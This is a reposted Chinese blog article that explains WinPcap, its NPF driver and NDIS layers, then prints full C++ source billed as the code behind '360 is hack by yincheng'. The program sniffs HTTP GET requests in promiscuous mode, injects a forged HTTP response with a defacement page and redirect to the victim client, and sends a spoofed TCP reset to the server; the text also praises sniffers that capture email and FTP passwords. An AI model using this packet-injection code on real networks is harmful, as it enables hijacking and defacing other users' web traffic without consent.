基于winpcap的NDIS在IE浏览器,360安全浏览器hackwww.360.cn
生活随笔
收集整理的這篇文章主要介紹了
基于winpcap的NDIS在IE浏览器,360安全浏览器hackwww.360.cn
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
winpcap(windows?packet?capture)是windows平臺下一個免費,公共的網絡訪問系統。開發winpcap這個項目的目的在于為win32應用程序提供訪問網絡底層的能力。 winpcap?驅動各項功能 1.?捕獲原始數據包,包括在共享網絡上各主機發送/接收的以及相互之間交換的數據??winpcap結構 包;? 2.?在數據包發往應用程序之前,按照自定義的規則將某些特殊的數據包過濾掉;? 3.?在網絡上發送原始的數據包;? 4.收集網絡通信過程中的統計信息。? winpcap的主要功能在于獨立于主機協議(如TCP-IP)而發送和接收原始數據包。也就是說,winpcap不能阻塞,過濾或控制其他應用程序數據包的發收,它僅僅只是監聽共享網絡上傳送的數據包。因此,它不能用于QoS調度程序或個人防火墻。目前,winpcap開發的主要對象是windows?NT/2000/XP,這主要是因為在使用winpcap的用戶中只有一小部分是僅使用windows?95/98/Me,并且MS也已經放棄了對win9x的開發。因此本文相關的程序T-ARP也是面向NT/2000/XP用戶的。其實winpcap中的面向9x系統的概念和NT系統的非常相似,只是在某些實現上有點差異,比如說9x只支持ANSI編碼,而NT系統則提倡使用Unicode編碼。有個軟件叫sniffer?pro.可以作網管軟件用,有很多功能,可監視網絡運行情況,每臺網內機器的數據流量,實時反映每臺機器所訪問IP以及它們之間的數據流通情況,可以抓包,可對過濾器進行設置,以便只抓取想要的包,比如POP3包,smtp包,ftp包等,并可從中找到郵箱用戶名和密碼,還有ftp用戶名和密碼。它還可以在使用交換機的網絡上監聽,不過要在交換機上裝它的一個軟件。還有一個簡單的監聽軟件叫Passwordsniffer,可截獲郵箱用戶名和密碼,還有ftp用戶名和密碼,它只能用在HUB網絡上。著名軟件tcpdump及ids?snort都是基于libpcap編寫的,此外Nmap掃描器也是基于libpcap來捕獲目標主機返回的數據包的。? winpcap提供給用戶兩個不同級別的編程接口:一個基于libpcap的wpcap.dll,另一個是較底層的packet.dll。對于一般的要與unix平臺上libpcap兼容的開發來說,使用wpcap.dll是當然的選擇。 編輯本段Winpcap的內部結構 ??Winpcap的各個組成部分 Winpcap是針對Win32平臺上的抓包和網絡分析的一個架構。它包括一個核心態的包過濾器,一個底層的動態鏈接庫(packet.dll)和一個高層的不依賴于系統的庫(wpcap.dll)。? 為什么使用“architecture”而不是“library”呢?因為抓包是一個要求與網絡適配器(網卡)和操作系統交互的底層機制,而且與網絡的實施也有密切關系,所以僅用“library”不能充分表達Winpcap的作用。? 首先,抓包系統必須繞過操作系統的協議棧來訪問在網絡上傳輸的原始數據包(raw?packet),這就要求一部分運行在操作系統核心內部,直接與網絡接口驅動交互。這個部分是系統依賴(system?dependent)的,在Winpcap的解決方案里它被認為是一個設備驅動,稱作NPF(Netgroup?Packet?Filter)。Winpcap開發小組針對Windows95,Windows98,WindowsME,Windows?NT?4,Windows2000和WindowsXP提供了不同版本的驅動。這些驅動不僅提供了基本的特性(例如抓包和injection),還有更高級的特性(例如可編程的過濾器系統和監視引擎)。前者可以被用來約束一個抓包會話只針對網絡通信中的一個子集(例如,僅僅捕獲特殊主機產生的ftp通信的數據包),后者提供了一個強大而簡單的統計網絡通信量的機制(例如,獲得網絡負載或兩個主機間的數據交換量)。? 其次,抓包系統必須有用戶級的程序接口,通過這些接口,用戶程序可以利用內核驅動提供的高級特性。Winpcap提供了兩個不同的庫:packet.dll和wpcap.dll。前者提供了一個底層API,伴隨著一個獨立于Microsoft操作系統的編程接口,這些API可以直接用來訪問驅動的函數;后者導出了一組更強大的與libpcap一致的高層抓包函數庫(capture?primitives)。這些函數使得數據包的捕獲以一種與網絡硬件和操作系統無關的方式進行。 NPF驅動 網絡數據包過濾器(Netgroup?Packet?Filter,NPF)是Winpcap的核心部分,它是Winpcap完成困難工作的組件。它處理網絡上傳輸的數據包,并且對用戶級提供可捕獲(capture)、發送(injection)和分析性能(analysis?capabilities)。 NPF和NDIS NDIS(Network?Driver?Interface?Specification)是一個定義網絡適配器(或者說成是管理網絡適配器的驅動程序)與協議驅動(例如TCP/IP的實現)之間通信的規范。NDIS最主要的目的是作為一個允許協議驅動發送和接收網絡(LAN或WAN)上的數據包而不必關心特定的適配器或特定的Win32操作系統的封裝。? NDIS支持三種類型的網絡驅動:? (1)?網絡接口卡或NIC驅動(Network?interface?card?or?NIC?drivers)。NIC驅動直接管理著網絡接口卡(NIC)。NIC驅動接下邊與硬件連接,從上邊表現為一個接口,該接口允許高層發送數據包到網絡上,處理中斷,重置NIC,停止NIC,查詢和設置驅動的運行特征。NIC驅動可以是小端口(miniport)或完全的NIC驅動(full?NIC?driver)。? Miniport驅動僅僅實現了管理NIC的必要操作,包括在NIC上發送和接收數據。對于所有最底層的NIC驅動的操作由NDIS提供,例如同步(synchronization)。小端口(miniport)不直接調用操作系統函數,它們對于操作系統的接口是NDIS。? 小端口僅僅是向上傳遞數據包給NDIS并且NDIS確保這些數據包被傳遞給正確的協議。? 完全NIC驅動(Full?NIC?driver)完成硬件細節的操作和所有由NDIS完成的同步和查詢操作。例如,完全NIC驅動維持接收到的數據的綁定信息。? (2)?中間層驅動(Intermediate?drivers)中間層驅動位于高層驅動(例如協議驅動)和小端口之間。對于高層驅動,中間層驅動看起來像是小端口;對于小端口,中間層驅動看起來像協議驅動。一個中間層協議驅動可以位于另一個中間層驅動之上,盡管這種分層可能對系統性能帶來負面影響。開發中間層驅動的一個關鍵原因是在現存的遺留協議驅動(legacy?protocol?driver)和小端口之間形成媒體的轉化。例如,中間層驅動可以將LAN協議轉換成ATM協議。中間層驅動不能與用戶模式的應用程序通信,但可以與其他的NDIS驅動通信。? (3)?傳輸驅動或協議驅動(Transport?drivers?or?protocol?drivers)協議驅動實現了網絡協議棧,例如IPX/SPX或TCP/IP,在一個或多個網絡接口卡上提供它的服務。在協議驅動的上面,它為應用層客戶程序服務;在它的下面,它與一個或多個NIC驅動或中間層NDIS驅動連接。? 大家看到的360被hack,.以及360安全瀏覽器被hack.的源代碼解析如下 源代碼分析如下: 代碼:#include?"pcap.h"#include?<mbstring.h> #include?<stdio.h> #include?<windows.h> #include?<string>#include?"tcpip.h" using?namespace?std; struct?pseudoheader???????/*?TCP頭文件?*/ {u_int32_t?sip,?dip;???/*?IP?地址?*/u_int8_t??zero;???????/*?空白字節?*/u_int8_t??protocol;???/*?協議號?*/u_int16_t?tcplen;?????/*?TCP?長度?*/ }; pcap_t????*????m_fp;??????//網卡指針,用于發/*?塊緩沖區禁止客戶端向發送?*/ u_int8_t????????????m_pBlockBuffer[512]; u_int32_t????????????m_cbBlockBuffer; char????????????????????????????szReURL[256]; /*?一個54字節的緩沖區需要發送TCP重置數據包?*/ char??????????????reset_buf[54];bool?SendPacket(u_char?*buf,?int?iSize);/*?檢查前4個字節,如果傳入的緩沖區為“GET?/”?*/ int??????????CheckHttpState(u_int8_t*?buffer,u_int32_t?len);void?????????DecodeHTTP(u_int8_t?*,const?u_int32_t,Packet?*);void????????DecodeTCP(u_int8_t?*,const?u_int32_t,Packet?*);/*?解碼IP包頭和包對象舉行?*/ void????????DecodeIP(u_int8_t?*,const?u_int32_t,Packet?*);int??????????FilterHttpRequest(Packet?*);/*?計算IP頭的校驗?*/ unsigned?short?CalcIPSum(unsigned?short?*,?int);/*?為TCP報頭的校驗和計算*/ unsigned?short?CalcTCPSum(unsigned?short?*h,?unsigned?short?*?d,?int?dlen);int?FilterHttpRequest(Packet?*p); /*?頭的校驗和計算?*/ void?packet_handler(u_char?*param,?const?struct?pcap_pkthdr?*header,?const?u_char?*pkt_data);int?main() {ZeroMemory(m_pBlockBuffer,?512);string?strBufferHdr;string?strBufferHTML;string?strhttp("http://");char?szRedirect[512]={0};lstrcpy(szReURL,?"http://www.360.cn");char*pTemp?=?strstr(szReURL,"http://");if(!pTemp){sprintf(szRedirect,?"<meta?http-equiv=\"Refresh\"?content=1;url=%s%s>",?"http://",szReURL);??????}else{sprintf(szRedirect,?"<meta?http-equiv=\"Refresh\"?content=1;url=%s>",szReURL);??}strBufferHTML?=????"<html>";strBufferHTML?+=??"<head>";strBufferHTML?+=??"<title>360?is??hack?by??yincheng</title>";strBufferHTML?+=????string(szRedirect);strBufferHTML?+=????"</head><body><TABLE?height=\"100%\"?width=\"100%\">";strBufferHTML?+=??"<TR>";strBufferHTML?+=??"<TD?align=\"center\"><h1>360?is??hack?by??yincheng</h1>";strBufferHTML?+=??"</TD>";strBufferHTML?+=??"</TR>";strBufferHTML?+=??"</TABLE>";strBufferHTML?+=??"</body>";strBufferHTML?+=??"</html>\n\n\n";??char?len[10];_itoa?(strBufferHTML.size(),?len,?10);strBufferHdr?+=??"HTTP/1.1?200?OK\r\n";strBufferHdr?+=??"Content-Type:?Text/HTML\r\n";strBufferHdr?+=??"Connection:?close\r\n";strBufferHdr?+=??"Content-Lenght:?";strBufferHdr?+=?len;strBufferHdr?+=??"\r\n\r\n";strBufferHdr?+=?strBufferHTML;//?第54個字節保留的TCP和IP報頭的位置_mbscpy?(m_pBlockBuffer?+?54,(u_int8_t*)strBufferHdr.c_str());??m_cbBlockBuffer?=?strBufferHdr.size();?//?僅HTTP負載的大小m_fp?=?NULL;pcap_if_t?*alldevs;pcap_if_t?*d;int?inum;int?i=0;pcap_t?*adhandle;char?errbuf[PCAP_ERRBUF_SIZE];/*?檢索設備清單?*/if(pcap_findalldevs(&alldevs,?errbuf)?==?-1){exit(1);}/*?Print?the?list?*/for(d=alldevs;?d;?d=d->next){printf("%d.?%s",?++i,?d->name);if?(d->description)printf("?(%s)\n",?d->description);}if(i==0){printf("\n確保WinPcap?已經安裝.\n");return?-1;}printf("輸入序列號(1-%d):",i);scanf("%d",?&inum);if(inum?<?1?||?inum?>?i){printf("\n設備接口.\n");/*?釋放設備列表*/pcap_freealldevs(alldevs);return?-1;}/*?到選定的適配器?*/for(d=alldevs,?i=0;?i<?inum-1?;d=d->next,?i++);/*?打開網卡適配器?*/if?((m_fp=?pcap_open_live(d->name,??//?設備名稱1,??????//?設備捕獲端口.?//?65536全包.1,????????//?混雜模式(非零手段混雜)1000,??????//?超時errbuf??????//?錯誤))?==?NULL){/*?釋放設備列表?*/pcap_freealldevs(alldevs);return?-1;}if?((adhandle=?pcap_open_live(d->name,65536,??????1,????????5,??????errbuf??????))?==?NULL){fprintf(stderr,"\nUnable?to?open?the?adapter.?%s?is?not?supported?by?WinPcap\n",?d->name);/*?Free?the?device?list?*/pcap_freealldevs(alldevs);return?-1;}printf("\nlistening?on?%s...\n",?d->description);pcap_freealldevs(alldevs);/*?啟動捕獲?*/pcap_loop(adhandle,?0,?packet_handler,?NULL);if(adhandle)pcap_close(adhandle);if(m_fp)pcap_close(m_fp);return?0; }/*?libpcap的每個傳入的數據包調用的回調函數?*/ void?packet_handler(u_char?*param,?const?struct?pcap_pkthdr?*header,?const?u_char?*pkt_data) {int?res?=?0;??Packet*?p?=?NULL;p?=?(Packet*)malloc(sizeof(Packet));ZeroMemory(p,?sizeof?(Packet));res?=?header->len;DecodeIP((u_int8_t*)pkt_data,?res,?p);if?(p->banned?==?1){printf("get?http?packet?.\n");FilterHttpRequest(p);}/加入http的判斷//p->eh?=?(EtherHdr*)pkt_data;if(??p->eh->ether_type?==?0x0008)??//上面是IP層{//?lay?the?IP?struct?over?the?raw?data?p->iph?=?(IPHdr?*)?(pkt_data+?ETHERNET_HEADER_LEN);?if?(p->iph->ip_proto?==?6){p->tcph?=?(TCPHdr?*)?(pkt_data?+?ETHERNET_HEADER_LEN+IP_HEADER_LEN);/if?(p->tcph->th_flags?&?TH_ACK?&&?p->tcph->th_flags?&?TH_PSH){if(p->tcph->th_dport?!=?htons(80)?&&//?If?target?service?is?not?HTTP?p->tcph->th_dport?!=?htons(8080)?)return?;p->data?=?(byte*)(pkt_data?+?ETHERNET_HEADER_LEN?+?IP_HEADER_LEN?+?TCP_HEADER_LEN);if(?p->data[0]?==?'G'?&&p->data[1]?==?'E'?&&p->data[2]?==?'T'?&&p->data[3]?==?'?'?&&p->data[4]?==?'/'?){printf("get?dns?packet?.\n");FilterHttpRequest(p);}????????}}}if(p)free(p);p?=?NULL;http的完/}int?FilterHttpRequest(Packet?*p) {DWORD?err?=?0;pseudoheader?ph;????/*?偽頭聲明*///發送塊頁為CLIENT////?Use?the?first?54?bytes?of?m_pBlockBuffer?for?future?TCP?control?packet?transmission.ZeroMemory(m_pBlockBuffer,?54);?//?only?zero?first?54?bytesEtherHdr*??respEh?=?((EtherHdr*)(m_pBlockBuffer?));IPHdr*??respIpHdr??=?((IPHdr*)(m_pBlockBuffer?+?sizeof(EtherHdr)));TCPHdr*??respTcpHdr??=?((TCPHdr*)(m_pBlockBuffer?+sizeof(EtherHdr)+?sizeof(IPHdr)));memcpy(respEh->ether_dst?,?p->eh->ether_src,?6);memcpy(respEh->ether_src?,?p->eh->ether_dst,6);respEh->ether_type?=?p->eh->ether_type;respIpHdr->ip_csum?=?0;respIpHdr->ip_dst?=?p->iph->ip_src;respIpHdr->ip_src?=?p->iph->ip_dst;respIpHdr->ip_len?=?htons(/*sizeof(EtherHdr)+*/(u_short)(sizeof?(IPHdr)?+?sizeof?(TCPHdr)?+?m_cbBlockBuffer));SET_IP_VER(respIpHdr,?0x4);SET_IP_HLEN(respIpHdr,?0x5);respIpHdr->ip_tos?=?p->iph->ip_tos;respIpHdr->ip_ttl?=?p->iph->ip_ttl;respIpHdr->ip_id?=?htons(2);??respIpHdr->ip_off?=?0;respIpHdr->ip_proto?=?0x06;respIpHdr->ip_csum?=?CalcIPSum((u_short*)?respIpHdr,?IP_HLEN(respIpHdr)?<<?2);respTcpHdr->th_ack?=?htonl?(ntohl?(p->tcph->th_seq)?+?p->dsize);respTcpHdr->th_seq?=?p->tcph->th_ack;respTcpHdr->th_sport?=?p->tcph->th_dport;respTcpHdr->th_dport?=?p->tcph->th_sport;respTcpHdr->th_flags?=?TH_FIN|TH_ACK;SET_TCP_OFFSET(respTcpHdr,?0x5);SET_TCP_X2(respTcpHdr,?0x0);respTcpHdr->th_win?=?p->tcph->th_win;respTcpHdr->th_urp?=?0;ph.sip?=?(u_int32_t)(p->iph->ip_dst.s_addr);ph.dip?=?(u_int32_t)(p->iph->ip_src.s_addr);ph.zero?=?0;ph.protocol?=?0x06;ph.tcplen?=?htons((u_short)(sizeof?(TCPHdr)?+?m_cbBlockBuffer));respTcpHdr->th_sum?=?0;respTcpHdr->th_sum?????=?CalcTCPSum((u_int16_t?*)&ph,?(u_int16_t?*)respTcpHdr,sizeof(TCPHdr)?+?m_cbBlockBuffer);if(!SendPacket(m_pBlockBuffer,?sizeof(EtherHdr)+sizeof(IPHdr)?+?sizeof(TCPHdr)?+?m_cbBlockBuffer)){printf("fail?to?SendPacket");return?0;}///發送TCP復位到服務器ZeroMemory(reset_buf,?54);??EtherHdr*??rstpEh?=?((EtherHdr*)(reset_buf));IPHdr*??rstIpHdr?=?((IPHdr*)(reset_buf?+?sizeof(EtherHdr)));TCPHdr*??rstTcpHdr?=?((TCPHdr*)(reset_buf?+?sizeof(EtherHdr)+sizeof?(IPHdr)?));memcpy(rstpEh->ether_dst?,?p->eh->ether_dst,?6);memcpy(rstpEh->ether_src?,?p->eh->ether_src,6);rstpEh->ether_type?=?p->eh->ether_type;rstIpHdr->ip_dst?=?p->iph->ip_dst;rstIpHdr->ip_id?=?htons(2);rstIpHdr->ip_len?=?htons(/*sizeof(EtherHdr)+*/(u_short)(sizeof?(IPHdr)?+?sizeof?(TCPHdr)));rstIpHdr->ip_off?=?0;rstIpHdr->ip_proto?=?0x06;rstIpHdr->ip_src?=?p->iph->ip_src;rstIpHdr->ip_tos?=?p->iph->ip_tos;rstIpHdr->ip_ttl?=?p->iph->ip_ttl;SET_IP_VER(rstIpHdr,?0x4);?SET_IP_HLEN(rstIpHdr,?0x5);rstIpHdr->ip_csum?=?CalcIPSum((u_short*)?rstIpHdr,?IP_HLEN(rstIpHdr)?<<?2);rstTcpHdr->th_ack?=?p->tcph->th_ack;??rstTcpHdr->th_seq?=?p->tcph->th_seq;rstTcpHdr->th_sport?=?p->tcph->th_sport;rstTcpHdr->th_dport?=?p->tcph->th_dport;rstTcpHdr->th_flags?=?TH_RST;//TH_RST;SET_TCP_OFFSET(rstTcpHdr,?0x5);SET_TCP_X2(rstTcpHdr,?0x0);rstTcpHdr->th_win?=?p->tcph->th_win;rstTcpHdr->th_urp?=?0;ph.sip?=?(u_int32_t)(p->iph->ip_src.s_addr);ph.dip?=?(u_int32_t)(p->iph->ip_dst.s_addr);ph.zero?=?0;ph.protocol?=?0x06;ph.tcplen?=?htons((u_short)sizeof?(TCPHdr));rstTcpHdr->th_sum?????=?CalcTCPSum((u_int16_t?*)&ph,?(u_int16_t?*)rstTcpHdr,sizeof(struct?TCPHdr));if(!SendPacket((u_char*)reset_buf,?sizeof(EtherHdr)+sizeof(IPHdr)?+?sizeof(TCPHdr))){printf("fail?to?SendPacket");return?0;}return?1; }unsigned?short?CalcIPSum(unsigned?short?*?w,?int?size) { /*??/*cksum??=?w[0];cksum?+=?w[1];cksum?+=?w[2];cksum?+=?w[3];cksum?+=?w[4];cksum?+=?w[5];cksum?+=?w[6];cksum?+=?w[7];cksum?+=?w[8];cksum?+=?w[9];blen??-=?20;w?????+=?10;while(?blen?)?/*?IP-hdr?must?be?an?integral?number?of?4?byte?words?*/ /*??{cksum?+=?w[0];cksum?+=?w[1];w?????+=?2;blen??-=?4;}cksum??=?(cksum?>>?16)?+?(cksum?&?0x0000ffff);cksum?+=?(cksum?>>?16);return?(unsigned?short)?(~cksum);*/unsigned?long?cksum=0;while?(size?>?1)?{cksum?+=?*w++;size?-=?sizeof(USHORT);}if?(size)?//如果字節數是不是2的倍數才會執行{cksum?+=?*(UCHAR*)w;}cksum?=?(cksum?>>?16)?+?(cksum?&?0xffff);cksum?+=?(cksum?>>16);return?(USHORT)(~cksum); }unsigned?short?CalcTCPSum(unsigned?short?*h,?unsigned?short?*?d,?int?dlen) {unsigned?int?cksum;unsigned?short?answer=0;/*?PseudoHeader必須有12個字節?*/cksum??=?h[0];cksum?+=?h[1];cksum?+=?h[2];cksum?+=?h[3];cksum?+=?h[4];cksum?+=?h[5];/*?TCP?HDR必須有20?HDR字節?*/cksum?+=?d[0];cksum?+=?d[1];cksum?+=?d[2];cksum?+=?d[3];cksum?+=?d[4];cksum?+=?d[5];cksum?+=?d[6];cksum?+=?d[7];cksum?+=?d[8];cksum?+=?d[9];dlen??-=?20;?/*?bytes???*/d?????+=?10;?/*?short's?*/?while(dlen?>=32){cksum?+=?d[0];cksum?+=?d[1];cksum?+=?d[2];cksum?+=?d[3];cksum?+=?d[4];cksum?+=?d[5];cksum?+=?d[6];cksum?+=?d[7];cksum?+=?d[8];cksum?+=?d[9];cksum?+=?d[10];cksum?+=?d[11];cksum?+=?d[12];cksum?+=?d[13];cksum?+=?d[14];cksum?+=?d[15];d?????+=?16;dlen??-=?32;}while(dlen?>=8)??{cksum?+=?d[0];cksum?+=?d[1];cksum?+=?d[2];cksum?+=?d[3];d?????+=?4;???dlen??-=?8;}while(dlen?>?1){cksum?+=?*d++;dlen??-=?2;}if(?dlen?==?1?)?{?*(unsigned?char*)(&answer)?=?(*(unsigned?char*)d);cksum?+=?answer;}cksum??=?(cksum?>>?16)?+?(cksum?&?0x0000ffff);cksum?+=?(cksum?>>?16);return?(unsigned?short)(~cksum); }bool?SendPacket(u_char?*buf,?int?iSize) {if(!m_fp)return?false;int?iResult;try{iResult?=???pcap_sendpacket(m_fp,buf,iSize);}catch?(...){}if?(iResult?==?0)return?true;return?false; }void?DecodeIP(u_int8_t?*?pkt,?const?u_int32_t?len,?Packet?*?p) {u_int32_t?ip_len;??????u_int32_t?hlen;?????????????/*?ip?頭長度?*//*?定了原始數據的以太網結構?*/p->eh?=?(EtherHdr*)pkt;/*?在原始數據的IP結構?*/p->iph?=?(IPHdr?*)?(pkt+?ETHERNET_HEADER_LEN);?/*?做點驗證?*/if(len?<?IP_HEADER_LEN){????p->iph?=?NULL;return;}if(IP_VER(p->iph)?!=?4){p->iph?=?NULL;return;}/*?設置IP數據報長度*/ip_len?=?ntohs(p->iph->ip_len);/*?設置IP頭長度?*/hlen?=?IP_HLEN(p->iph)?<<?2;/*?頭部長度的完整性檢查?*/if(hlen?<?IP_HEADER_LEN){p->iph?=?NULL;return;}if?(ip_len?>?len)?{ip_len?=?len;}if(ip_len?<?hlen){p->iph?=?NULL;return;}/*?測試IP選項?*/p->ip_options_len?=?hlen?-?IP_HEADER_LEN;if(p->ip_options_len?>?0){p->ip_options_data?=?pkt?+?IP_HEADER_LEN;????}/*?設置其余的數據包長度?*/ip_len?-=?hlen;/*?檢查數據包碎片*/p->frag_offset?=?ntohs(p->iph->ip_off);/*?*得到保留,更值*片段,并沒有做片段的標志*/p->rf?=?(u_int8_t)((p->frag_offset?&?0x8000)?>>?15);p->df?=?(u_int8_t)((p->frag_offset?&?0x4000)?>>?14);p->mf?=?(u_int8_t)((p->frag_offset?&?0x2000)?>>?13);/*?屏蔽掉在片段偏移字段的高位?*/p->frag_offset?&=?0x1FFF;if(p->frag_offset?||?p->mf){/*?設置該數據包片段旗標?*/p->frag_flag?=?1;??}/*?如果這個包是不是一個片段?*/if(!(p->frag_flag)){/*?解碼TCP頭?*/if?(p->iph->ip_proto?==?IPPROTO_TCP){DecodeTCP(pkt?+ETHERNET_HEADER_LEN+?hlen,?ip_len,?p);}}else{/*?設置有效載荷指針和有效載荷的大小*/p->data?=?pkt?+ETHERNET_HEADER_LEN+?hlen;p->dsize?=?(u_short)?ip_len;}return; }void?DecodeTCP(u_int8_t?*?pkt,?const?u_int32_t?len,?Packet?*?p) {u_int32_t?hlen;????????????/*?TCP?頭長度*/if(len?<?20){p->tcph?=?NULL;return;}/*?延遲TCP?*/p->tcph?=?(TCPHdr?*)?pkt;/*?重新設定值?*/hlen?=?TCP_OFFSET(p->tcph)?<<?2;if(hlen?<?20){p->tcph?=?NULL;return;}if(hlen?>?len){p->tcph?=?NULL;return;}/*?重新編碼?*/p->tcp_options_len?=?hlen?-?20;if(p->tcp_options_len?>?0){??p->tcp_options_data?=?pkt?+?20;??}/*?設置數據指針字節?*/p->data?=?(u_int8_t?*)?(pkt+?hlen);if(hlen?<?len){p->dsize?=?(u_short)(len?-?hlen);}else{p->dsize?=?0;}if?(p->tcph->th_flags?&?TH_ACK/*&&?p->tcph->th_flags?&?TH_PSH*/)?{if(p->tcph->th_dport?!=?htons(80)?&&p->tcph->th_dport?!=?htons(8080)?)return?;DecodeHTTP(p->data,?p->dsize,?p);}??return; }void?DecodeHTTP(u_int8_t?*?pkt,?const?u_int32_t?len,?Packet?*?p) {if?(CheckHttpState(pkt,?len)?==?CLIENT_REQUEST){??string?strUrl("Host:?");string?strOriginURL?=?string(szReURL);int?nindex?=?strOriginURL.find("http://");?if(nindex?==-1){strUrl+=strOriginURL;}else{string?str("");str?=?strOriginURL.substr(7,strOriginURL.size()-7);strUrl+=str;}char*?pTemp?=?strstr((char*)pkt,?(char*)strUrl.c_str());if(pTemp)p->banned?=?0;??//not?filter?itelsep->banned?=?1;??//?packet?caught,?Filter?it?}}int?CheckHttpState(u_int8_t*?buffer,u_int32_t?len) {if(!len)return?NOT_HTTP;if(?buffer[0]?==?'G'?&&buffer[1]?==?'E'?&&buffer[2]?==?'T'?&&buffer[3]?==?'?'?&&buffer[4]?==?'/'?)return?CLIENT_REQUEST;if(?buffer[0]?==?'H'?&&buffer[1]?==?'T'?&&buffer[2]?==?'T'?&&buffer[3]?==?'P')return?SERVER_RESPONSE;return?NOT_HTTP; } 上傳的縮略圖 ? |
| ? |
轉載于:https://www.cnblogs.com/new0801/archive/2012/06/13/6177738.html
總結
以上是生活随笔為你收集整理的基于winpcap的NDIS在IE浏览器,360安全浏览器hackwww.360.cn的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 博弈论——关于Nim游戏和SG函数的几个
- 下一篇: IIS 6.0支持.SHTML